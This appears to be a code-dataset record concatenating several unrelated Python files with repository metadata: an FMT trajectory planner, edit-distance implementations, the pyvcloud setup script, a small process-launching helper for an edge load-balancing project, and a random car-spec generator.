67484911ca8ad9f1476e96043c379c01cd5ced8c

[ "Apache-2.0" ]

null

fmt/pythonfmt/fmt.py

KarlRong/Safe-RL-for-Driving

67484911ca8ad9f1476e96043c379c01cd5ced8c

[ "Apache-2.0" ]

null

import math import random import numpy as np import matplotlib as mpl import matplotlib.pyplot as plt from fmt.pythonfmt.doubleintegrator import filter_reachable, gen_trajectory, show_trajectory from fmt.pythonfmt.world import World def dist2(p, q): return math.sqrt((p[1] - q[1]) ** 2 + (p[2] - q[2]) ** 2) # FMTree class class FMTree: # s_init::Vec4f # s_goal::Vec4f # N #number of samples # Pset::Vector{Vec4f} # Point set # cost::Vector{Float64} #cost # time::Vector{Float64} #optimal time to connect one node to its parent node # parent::Vector{Int64} #parent node # bool_unvisit::BitVector #logical value for Vunvisit # bool_open::BitVector #logical value for Open # bool_closed::BitVector #logical value for Closed # world::World # simulation world config # itr::Int64 # iteration num def __init__(self, s_init, s_goal, N, world): # constructer: sampling valid point from the configurationspace print("initializing fmt ...") self.s_init = s_init self.s_goal = s_goal self.N = N self.world = world self.Pset = np.zeros((N, 4)) self.Pset[0, :] = np.array(s_init) def myrn(min, max): return min + (max - min) * random.random() # 采样N个点 n = 1 while True: num_ran = 2*N rp = np.empty((4, num_ran)) rp[0, :] = np.random.default_rng().uniform(self.world.x_min[0], self.world.x_max[0], num_ran) rp[1, :] = np.random.default_rng().uniform(self.world.x_min[1], self.world.x_max[1], num_ran) rp[2, :] = np.random.default_rng().uniform(self.world.v_min[0], self.world.v_max[0], num_ran) rp[3, :] = np.random.default_rng().uniform(self.world.v_min[1], self.world.v_max[1], num_ran) # p = np.array([myrn(world.x_min[0], world.x_max[0]), # myrn(world.x_min[1], world.x_max[1]), # myrn(world.v_min[0], world.v_max[0]), # myrn(world.v_min[1], world.v_max[1])]) for i_rp in range(0, num_ran): if self.world.isValid(rp[:, i_rp]): self.Pset[n, :] = rp[:, i_rp] n = n + 1 if n == N-1: break if n == N-1: break self.Pset[-1, :] = np.array(s_goal) # inply idx_goal = N [last] ? 修改為最後一個是終點 self.cost = np.zeros(N) self.time = np.zeros(N) self.parent = np.zeros(N, dtype=int) self.bool_unvisit = np.ones(N, dtype=np.bool_) self.bool_unvisit[0] = False self.bool_closed = np.zeros(N, dtype=np.bool_) self.bool_open = np.zeros(N, dtype=np.bool_) self.bool_open[0] = True self.itr = 0 print("finish initializing") # new(s_init, s_goal, # N, Pset, cost, time, parent, bool_unvisit, bool_open, bool_closed, world, 0) def show(self, ax): print("drawing...") # 先画障碍物 N = len(self.Pset) mat = np.zeros((2, N)) for idx in range(0, N): mat[:, idx] = self.Pset[idx, 0:2] idxset_open = np.nonzero(self.bool_open)[0] idxset_closed = np.nonzero(self.bool_closed)[0] idxset_unvisit = np.nonzero(self.bool_unvisit)[0] # idxset_tree = setdiff(union(idxset_open, idxset_closed), [1]) idxset_tree = np.concatenate((idxset_closed, idxset_open)) # 没有和原来一样去除 id 1 # 起点，重点，open, close ax.scatter(mat[0, 0], mat[1, 0], c='blue', s=20, zorder=100) ax.scatter(mat[0, -1], mat[1, -1], c='blue', s=20, zorder=101) ax.scatter(mat[0, idxset_open], mat[1, idxset_open], c='orange', s=5) ax.scatter(mat[0, idxset_closed], mat[1, idxset_closed], c='red', s=5) # ax.scatter(mat[0, idxset_unvisit], mat[1, idxset_unvisit], c='khaki', s=2) for idx in idxset_tree: s0 = self.Pset[self.parent[idx]] s1 = self.Pset[idx] tau = self.time[idx] show_trajectory(s0, s1, tau, N_split=5, ax=ax) # 起点重点画了第二次？ # ax.scatter(mat[0, 1], mat[1, 1], c='blue', s=20, zorder=100) # ax.scatter(mat[0, -1], mat[1, -1], c='blue', s=20, zorder=101) # plt.xlim(this.world.x_min[1]-0.05, this.world.x_max[1]+0.05) # plt.ylim(this.world.x_min[2]-0.05, this.world.x_max[2]+0.05) print("finish drawing") def solve(self, ax=None, show=False, save=False): # keep extending the node until the tree reaches the goal print("please set with_savefig=false if you want to measure the computation time") print("start solving") while True: if not self.extend(): # 擴展失敗 break # if ((self.itr < 100) and (self.itr % 20 == 1)) or (self.itr % 200 == 1): if self.itr % 40 == 1: print("itr: ", self.itr) if ax and show: # close() self.show(ax) plt.pause(1) if ax and save: plt.savefig("./fig/" + str(self.itr) + ".png") # 这里需要通过传递fig解决 if not self.bool_unvisit[-1]: break # 無法連接到終點的情況處理待定 idx = -1 idx_solution = [idx] while True: idx = self.parent[idx] idx_solution.append(idx) if idx == 0: break print("finish solving") return np.array(idx_solution) def extend(self): # extend node self.itr += 1 r = 1.0 # 这是什么参数？ # 此處數據結構可以優化, idxset_open和idxset_unvisit不用每次檢索 idxset_open = np.nonzero(self.bool_open)[0] #這裡莫名返回一個tuple，需要取第一個 if idxset_open.size == 0: #無法再繼續擴展 return False idxset_unvisit = np.nonzero(self.bool_unvisit)[0] idx_lowest = idxset_open[np.argmin(self.cost[idxset_open])] # idx_lowest = idxset_open[findmin(this.cost[idxset_open])[2]] s_c = self.Pset[idx_lowest, :] idxset_near, _, _ = filter_reachable(self.Pset, idxset_unvisit, self.Pset[idx_lowest], r, "F") for idx_near in idxset_near: idxset_cand, distset_cand, timeset_cand = filter_reachable(self.Pset, idxset_open, self.Pset[idx_near], r, "B") if len(idxset_cand) == 0: return idx_costmin = np.argmin(self.cost[idxset_cand] + distset_cand) cost_new = self.cost[idxset_cand[idx_costmin]] + distset_cand[idx_costmin] # cost_new, idx_costmin = findmin(this.cost[idxset_cand] + distset_cand) # optimal time for new connection time_new = timeset_cand[idx_costmin] idx_parent = idxset_cand[idx_costmin] waypoints = gen_trajectory(self.Pset[idx_parent], self.Pset[idx_near], time_new, 10) if self.world.isValid(waypoints): self.bool_unvisit[idx_near] = False self.bool_open[idx_near] = True self.cost[idx_near] = cost_new self.time[idx_near] = time_new self.parent[idx_near] = idx_parent # print("nonzero cost idx: ", np.nonzero(self.cost)) self.bool_open[idx_lowest] = False self.bool_closed[idx_lowest] = True return True

40.486486

105

0.554072

7,392

0.956769

0

2,284

0.295625

62aaf966c075e395977fecf28d9050755afb7dda

2,338

py

Python

algorithms/edit_distance.py

costincaraivan/cs-refresher

008fdb2af661310c65f656f017ec34e5df004424

[ "MIT" ]

1

2018-06-12T12:00:33.000Z

algorithms/edit_distance.py

costincaraivan/cs-refresher

008fdb2af661310c65f656f017ec34e5df004424

[ "MIT" ]

null

algorithms/edit_distance.py

costincaraivan/cs-refresher

008fdb2af661310c65f656f017ec34e5df004424

[ "MIT" ]

null

# import unittest import logging from timeit import timeit logging.basicConfig(level=logging.INFO) def memoize(function): cache = {} def memo(*args): if args not in cache: cache[args] = function(*args) return cache[args] return memo @memoize def edit_distance_recursive(source, target): if source == "": return len(target) if target == "": return len(source) if source[-1] == target[-1]: cost = 0 else: cost = 1 return min( edit_distance_recursive(source[:-1], target) + 1, edit_distance_recursive(source, target[:-1]) + 1, edit_distance_recursive(source[:-1], target[:-1]) + cost ) logging.info(edit_distance_recursive("intention", "execution")) logging.info(edit_distance_recursive("jackrabbits", "jackhammer")) logging.info(edit_distance_recursive("ie", "e")) def edit_distance_iterative(source, target): rows = len(source) columns = len(target) if rows == 0: return columns if columns == 0: return rows # Initalize 2D array. edit_distances = [[0] * columns for i in range(rows)] for row in range(rows): edit_distances[row][0] = row for column in range(columns): edit_distances[0][column] = column for column in range(1, columns): for row in range(1, rows): if source[row - 1] == target[column - 1]: cost = 0 else: cost = 1 edit_distances[row][column] = min( edit_distances[row - 1][column] + 1, edit_distances[row][column - 1] + 1, edit_distances[row - 1][column - 1] + cost ) # for row in range(rows): # logging.info(edit_distances[row]) return edit_distances[row][column] logging.info(edit_distance_iterative("intention", "execution")) logging.info(edit_distance_iterative("jackrabbits", "jackhammer")) logging.info(edit_distance_iterative("ie", "e")) logging.info(timeit('edit_distance_recursive("intention", "execution")', setup='from __main__ import edit_distance_recursive', number=100)) logging.info(timeit('edit_distance_iterative("intention", "execution")', setup='from __main__ import edit_distance_iterative', number=100))

27.505882

86

0.618477

0

431

0.184346

0

407

0.17408

62ab97280947669585b79c2c2795dd161b100377

2,365

py

Python

hybrid_cloud_patches/3rd_lib/python/pyvcloud-11/setup.py

Hybrid-Cloud/badam

390ad3a6fc03948008f7c04ed2f9fcc8514cc1eb

[ "Apache-2.0" ]

2

2015-06-15T02:16:33.000Z

2022-02-23T07:10:38.000Z

hybrid_cloud_patches/3rd_lib/python/pyvcloud-11/setup.py

Hybrid-Cloud/badam

390ad3a6fc03948008f7c04ed2f9fcc8514cc1eb

[ "Apache-2.0" ]

7

2016-05-13T06:39:45.000Z

2016-05-20T02:55:31.000Z

hybrid_cloud_patches/3rd_lib/python/pyvcloud-11/setup.py

Hybrid-Cloud/badam

390ad3a6fc03948008f7c04ed2f9fcc8514cc1eb

[ "Apache-2.0" ]

4

2015-11-02T04:02:50.000Z

2021-05-13T17:06:00.000Z

# VMware vCloud Python SDK # Copyright (c) 2014 VMware, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from setuptools import setup, find_packages import os def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() with open('requirements.txt') as f: required = f.read().splitlines() setup( name='pyvcloud', version='11', description='VMware vCloud Python SDK', long_description=read('README.rst'), url='https://github.com/vmware/pyvcloud', author='VMware, Inc.', author_email='pgomez@vmware.com', packages=find_packages(), install_requires=required, license='License :: OSI Approved :: Apache Software License', classifiers=[ 'Development Status :: 1 - Planning', 'License :: OSI Approved :: Apache Software License', 'Intended Audience :: Information Technology', 'Intended Audience :: System Administrators', 'Intended Audience :: Developers', 'Environment :: No Input/Output (Daemon)', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.2', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Topic :: Software Development :: Libraries :: Python Modules', 'Topic :: System :: Distributed Computing', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Operating System :: Unix', 'Operating System :: MacOS', ], keywords='pyvcloud vcloud vcloudair vmware', platforms=['Windows', 'Linux', 'Solaris', 'Mac OS-X', 'Unix'], test_suite='tests', tests_require=[], zip_safe=True )

37.539683

74

0.659197

0

1,633

0.690486

62ac5880cfcb73a7f5f41808ba14ed348ca4e208

607

py

Python

net_utils.py

mfatihaktas/edge-load-balance

b866ca47ba37a605eeba05658b1d302f6855a23f

[ "MIT" ]

null

net_utils.py

mfatihaktas/edge-load-balance

b866ca47ba37a605eeba05658b1d302f6855a23f

[ "MIT" ]

null

net_utils.py

mfatihaktas/edge-load-balance

b866ca47ba37a605eeba05658b1d302f6855a23f

[ "MIT" ]

null

from debug_utils import * def run(node_l, cmd_l): popens = {} for i, n in enumerate(node_l): popens[n] = n.popen(cmd_l[i]) log(DEBUG, "Started {}".format(n)) def run_masters(m_l): run(m_l, ['./run.sh m {}'.format(i) for i in range(len(m_l))]) log(DEBUG, "done") def run_workers(w_l): run(w_l, ['./run.sh w {}'.format(i) for i in range(len(w_l))]) log(DEBUG, "done") def run_dashboard_server(d): run([d], ['./run.sh d']) log(DEBUG, "done") # TODO: does not work def pkill(): os.system('pkill -f client.py; pkill -f master.py; pkill -f worker.py; pkill -f dashboard.py') log(DEBUG, "done")

24.28

95

0.634267

0

182

0.299835

62ac8d841db4303175fa7656df2488f0b321c7c1

2,086

py

Python

auto.py

fabiaant/Automation-car-generator

aa57f1a69e4c4b1abf123b6bb88863862d43c4eb

[ "MIT" ]

1

2018-10-05T15:12:08.000Z

auto.py

fabiaant/Automation-car-generator

aa57f1a69e4c4b1abf123b6bb88863862d43c4eb

[ "MIT" ]

null

auto.py

fabiaant/Automation-car-generator

aa57f1a69e4c4b1abf123b6bb88863862d43c4eb

[ "MIT" ]

1

2021-08-30T01:18:36.000Z

import random options = { "year": { "start": 1946, "end": 2020 }, "body": ["Sedan", "Wagon", "Hatchback", "Coupe", "SUV", "Utility", "MPV", "Convertible", "Van"], "engine_location": ["front", "mid", "rear"], "engine_mounting": ["transverse", "longitudinal"], "drive": ["FWD", "RWD", "AWD", "4x4"], "engine": { "aspiration": ["naturally aspirated", "turbocharged"], "layout": [ { "Inline-": [3, 4, 5, 6] }, { "60° V": [6, 8, 12] }, { "90° V": [6, 8, 10] }, { "Boxer-": [4, 6] } ] } } def choose_year(): years = options["year"] inclusive_range = range(years["start"], years["end"] + 1) return random.choice(inclusive_range) def choose_body(): return random.choice(options["body"]) def choose_engine_location(): return random.choice(options["engine_location"]) def choose_engine_mounting(): return random.choice(options["engine_mounting"]) def choose_drive(): return random.choice(options["drive"]) def choose_engine(): aspiration = random.choice(options["engine"]["aspiration"]) style = random.choice(options["engine"]["layout"]) style_name = list(style.keys())[0] cyl_count = random.choice(style[style_name]) engine_string = aspiration + " " + style_name + str(cyl_count) return engine_string # Make it a class for the fuck of it lol class Car: def __init__(self): self.year = choose_year() self.engine_location = choose_engine_location() self.engine_mounting = choose_engine_mounting() self.drive = choose_drive() self.engine = choose_engine() self.body = choose_body() def describe(self): return f"A {self.year} {self.drive} {self.body} with a {self.engine_location}-"\ f"{self.engine_mounting} mounted {self.engine}!" car = Car() print("Your next car will be:") print(car.describe()) input("Press enter to close")

27.813333

88

0.57047

459

0.219828

0

604

0.289272